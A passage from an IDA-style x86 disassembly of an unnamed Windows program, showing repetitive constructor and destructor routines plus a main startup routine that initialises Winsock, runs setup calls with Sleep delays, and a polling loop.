lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_13ABED2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_13ABED2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_13ABED2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_13ABED2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_13ABED2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_13ABED2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_13ABED2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_13ABED2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_13ABED2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABED2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_13ABED2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_13ABED2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_13ABED2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13ABED2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1430 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1950 proc near ; CODE XREF: sub_13AB8F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A6CCh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1950 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C19F0 proc near ; CODE XREF: sub_13AC283j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A73Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_13AB423 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_13AB423 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C19F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1AC0 proc near ; CODE XREF: sub_13AB635j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A798h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, dword_9D0CC0[esi] mov [esp+14h+var_4], 3 call sub_13AB423 lea ecx, dword_9D0C92[esi] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, dword_9D0C64[esi] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, dword_9D0C36[esi] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, dword_9D0C08[esi] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1AC0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1B80 proc near ; CODE XREF: sub_13AC616j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A7FDh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_13AB423 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1B80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1C40 proc near ; CODE XREF: sub_13AC2B0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A85Dh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_13AB423 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1C40 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1D00 proc near ; CODE XREF: sub_13ABCCAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A88Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1D00 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1D70 proc near ; CODE XREF: sub_13ABBD0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A8ABh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1D70 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1DE0 proc near ; CODE XREF: sub_13ABF27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A8CBh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1DE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1E50 proc near ; CODE XREF: sub_13AC328j add ecx, 4 jmp sub_13AB423 sub_13C1E50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1E70 proc near ; CODE XREF: sub_13AB513j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A8F6h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1E70 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1EF0 proc near ; CODE XREF: sub_13AC1EDj add ecx, 4 jmp sub_13AB423 sub_13C1EF0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1F10 proc near ; CODE XREF: sub_13AC3F5j add ecx, 4 jmp sub_13AB423 sub_13C1F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1F30 proc near ; CODE XREF: sub_13AC2E2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A93Fh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_13AB423 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB423 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB423 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB423 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB423 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1F30 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C1FD0 proc near ; CODE XREF: sub_13AB97Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A98Ch mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13AB824 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C1FD0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2070 proc near ; CODE XREF: sub_13ABA45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43A9FBh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_13ABB49 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2070 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2140 proc near ; CODE XREF: sub_13ABB76j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AA58h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, dword_9D0C08[esi] call sub_13ABB49 lea ecx, dword_9D0C36[esi] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, dword_9D0C64[esi] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, dword_9D0C92[esi] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, dword_9D0CC0[esi] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2140 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2200 proc near ; CODE XREF: sub_13ABC20j push esi mov esi, ecx call sub_13AC26A mov dword ptr [esi], offset dword_43E050 mov eax, esi pop esi retn sub_13C2200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2230 proc near ; CODE XREF: sub_13ABAB3j push esi mov esi, ecx call sub_13AC26A mov dword ptr [esi], offset dword_43E05C mov eax, esi pop esi retn sub_13C2230 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2260 proc near ; CODE XREF: sub_13AB815j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AABDh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2260 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2320 proc near ; CODE XREF: sub_13AB702j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AB1Dh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2320 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C23E0 proc near ; CODE XREF: sub_13AB671j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AB4Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C23E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2460 proc near ; CODE XREF: sub_13AC111j push esi mov esi, ecx call sub_13AB5B3 mov dword ptr [esi], offset dword_43E090 mov eax, esi pop esi retn sub_13C2460 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2490 proc near ; CODE XREF: sub_13AB6FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AB6Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2490 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2510 proc near ; CODE XREF: sub_13ABE7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AB8Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C2510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2590 proc near ; CODE XREF: sub_13AB685j push esi mov esi, ecx call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 mov dword ptr [esi], offset dword_43E09C mov eax, esi pop esi retn sub_13C2590 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C25C0 proc near ; CODE XREF: sub_13AC0A3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43ABB6h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C25C0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2640 proc near ; CODE XREF: sub_13AB973j push esi mov esi, ecx call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 mov dword ptr [esi], offset dword_43E0A4 mov eax, esi pop esi retn sub_13C2640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2670 proc near ; CODE XREF: sub_13ABB8Fj push esi mov esi, ecx call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 mov dword ptr [esi], offset dword_43E0A8 mov eax, esi pop esi retn sub_13C2670 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C26A0 proc near ; CODE XREF: sub_13AB473j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43ABFFh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_13ABB49 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_13ABB49 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_13ABB49 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_13ABB49 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C26A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2740 proc near ; CODE XREF: sub_13AB667j var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, Sleep push esi mov esi, ecx push edi xor bl, bl mov ds:byte_9E392C[esi], 1 loc_13C2758: ; CODE XREF: sub_13C2740+E4j test bl, bl jnz loc_13C282E mov al, ds:byte_9D2B74[esi] test al, al jnz short loc_13C276E mov bl, 1 jmp short loc_13C2782 ; --------------------------------------------------------------------------- loc_13C276E: ; CODE XREF: sub_13C2740+28j lea ecx, [esi+15Fh] call sub_13ABC5C test al, al setz bl test bl, bl jz short loc_13C2789 loc_13C2782: ; CODE XREF: sub_13C2740+2Cj mov ds:byte_9E392C[esi], 0 loc_13C2789: ; CODE XREF: sub_13C2740+40j lea ecx, [esp+1Ch+var_C] call sub_13AC486 lea edi, dword_9E3983[esi] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_13AC34B mov ecx, [eax] lea edx, [esp+20h+var_C] mov [esp+20h+var_10], ecx push edx mov ecx, edi call sub_13AB711 push eax lea ecx, [esp+28h+var_14] call sub_13ABAF9 test al, al jz short loc_13C280E loc_13C27C4: ; CODE XREF: sub_13C2740+CCj lea ecx, [esp+28h+var_18] call sub_13AC611 mov ecx, [eax] call sub_13ABB44 lea ecx, [esp+28h+var_18] call sub_13AC611 mov eax, [eax] test eax, eax jz short loc_13C27EB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_13C27EB: ; CODE XREF: sub_13C2740+A1j lea ecx, [esp+2Ch+var_1C] call sub_13AB761 lea eax, [esp+2Ch+var_18] mov ecx, edi push eax call sub_13AB711 push eax lea ecx, [esp+34h+var_20] call sub_13ABAF9 test al, al jnz short loc_13C27C4 loc_13C280E: ; CODE XREF: sub_13C2740+82j mov ecx, edi call sub_13AB4B9 push 0FAh call ebp ; Sleep mov al, ds:byte_9E392C[esi] test al, al jnz loc_13C2758 test bl, bl jz short loc_13C283B loc_13C282E: ; CODE XREF: sub_13C2740+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_13C283B: ; CODE XREF: sub_13C2740+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_13C2740 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C28A0 proc near ; CODE XREF: sub_13ABB67j var_1F4 = byte ptr -1F4h var_1F0 = byte ptr -1F0h var_1AC = byte ptr -1ACh var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push 43AC2Bh push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_E2AAEB mov ds:byte_9E392C[esi], 1 call sub_13AB4B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_13C28E0 push eax jmp short loc_13C28E5 ; --------------------------------------------------------------------------- loc_13C28E0: ; CODE XREF: sub_13C28A0+3Bj push offset byte_446F80 loc_13C28E5: ; CODE XREF: sub_13C28A0+3Ej lea ecx, dword_9E3957[esi] call sub_13AB9D7 mov edi, [esp+1C8h] test edi, edi jz short loc_13C28FE push edi jmp short loc_13C2903 ; --------------------------------------------------------------------------- loc_13C28FE: ; CODE XREF: sub_13C28A0+59j push offset byte_446F80 loc_13C2903: ; CODE XREF: sub_13C28A0+5Cj lea ecx, dword_9E396C[esi] call sub_13AB9D7 push edi lea ecx, [esi+3Eh] call sub_13AB784 mov al, [esi+42h] test al, al jz short loc_13C292D mov eax, [esi+43h] lea ecx, [esi+152h] push eax call sub_13ABD79 loc_13C292D: ; CODE XREF: sub_13C28A0+7Cj lea ecx, [esp+1D4h+var_1AC] push ecx push 202h call WSAStartup ; WSAStartup call sub_13AB8BA lea ecx, [esi+1BBEh] call sub_13ABBEE lea ecx, [esi+1B46h] call sub_13ABDF6 lea edi, [esi+15Fh] mov ecx, edi call sub_13AC134 mov ebx, Sleep push 3E8h call ebx ; Sleep mov ecx, edi call sub_13AB61C push 3E8h call ebx ; Sleep mov al, [esi+48h] test al, al jnz short loc_13C2991 mov al, [esi+7C7h] test al, al jz short loc_13C299C loc_13C2991: ; CODE XREF: sub_13C28A0+E5j lea ecx, dword_9E3831[esi] call sub_13AB7D4 loc_13C299C: ; CODE XREF: sub_13C28A0+EFj push 3E8h call ebx ; Sleep lea ebx, [esi+3F9h] lea edi, [esi+1C58h] push ebx mov ecx, edi call sub_13ABF59 mov ecx, edi call sub_13AB595 mov al, [esi+77Eh] test al, al jz short loc_13C29D7 lea edx, [esi+71Ch] push ebx push edx mov ecx, edi call sub_13ABB26 loc_13C29D7: ; CODE XREF: sub_13C28A0+126j mov al, [esi+7C7h] test al, al jz short loc_13C29FE lea ebp, [esi+7F7h] mov ecx, edi push ebp call sub_13AC3B4 test al, al jnz short loc_13C29FE push ebx push ebp mov ecx, edi call sub_13AB897 jmp short loc_13C2A0C ; --------------------------------------------------------------------------- loc_13C29FE: ; CODE XREF: sub_13C28A0+13Fj ; sub_13C28A0+151j lea ebp, [esi+7F7h] mov ecx, edi push ebp call sub_13ABD42 loc_13C2A0C: ; CODE XREF: sub_13C28A0+15Cj mov al, [esi+7C7h] test al, al jz short loc_13C2A31 mov al, [esi+48h] test al, al jnz short loc_13C2A31 push ebp mov ecx, edi call sub_13AC3DC test al, al jz short loc_13C2A31 push 0 call exit ; exit loc_13C2A31: ; CODE XREF: sub_13C28A0+174j ; sub_13C28A0+17Bj ... call sub_13AC2EC lea ecx, [esi+168h] call sub_13ABBE4 push eax lea eax, [esp+204h+var_1F0] push eax call sub_13AC422 add esp, 8 push eax lea ecx, dword_9E392D[esi] mov [esp+204h+var_40], 0 call sub_13AC40E lea ecx, [esp+204h+var_1F4] mov [esp+204h+var_44], 0FFFFFFFFh call sub_13AB626 lea ebx, dword_9D2B5D[esi] mov ecx, ebx call sub_13AB7D4 lea ecx, dword_9D2E47[esi] call sub_13AB7D4 lea ecx, [esi+1D29h] call sub_13AC17F lea ecx, [esi+1E6Fh] call sub_13ABEE1 lea ecx, dword_9D2E85[esi] call sub_13ABA09 lea ecx, dword_9E3613[esi] call sub_13ABAF4 lea ecx, dword_9D2FA2[esi] call sub_13AC5DF lea ecx, dword_9E3673[esi] call sub_13AC247 mov ecx, ebx call sub_13ABE0A lea ecx, dword_9E3842[esi] call sub_13AC35F mov ecx, edi call sub_13AB44B lea ecx, dword_9D30BF[esi] call sub_13AC00D lea ecx, dword_9E3705[esi] call sub_13ABF90 lea ecx, dword_9E36D3[esi] call sub_13AC300 lea ecx, dword_9E3793[esi] call sub_13ABD65 lea ecx, dword_9E37CD[esi] call sub_13AC445 lea ecx, dword_9E37FF[esi] call sub_13ABFE5 mov ecx, esi call sub_13AB667 lea ecx, dword_9D2E70[esi] mov edi, eax call sub_13ABB44 mov ecx, ebx call sub_13ABB44 call sub_13ABF18 call WSACleanup ; WSACleanup mov al, [esi+42h] test al, al jz short loc_13C2B67 lea ecx, [esi+152h] call sub_13AC0DA loc_13C2B67: ; CODE XREF: sub_13C28A0+2BAj mov ecx, [esp+204h+var_4C] mov eax, edi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 1B4h retn 8 sub_13C28A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0C0h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O 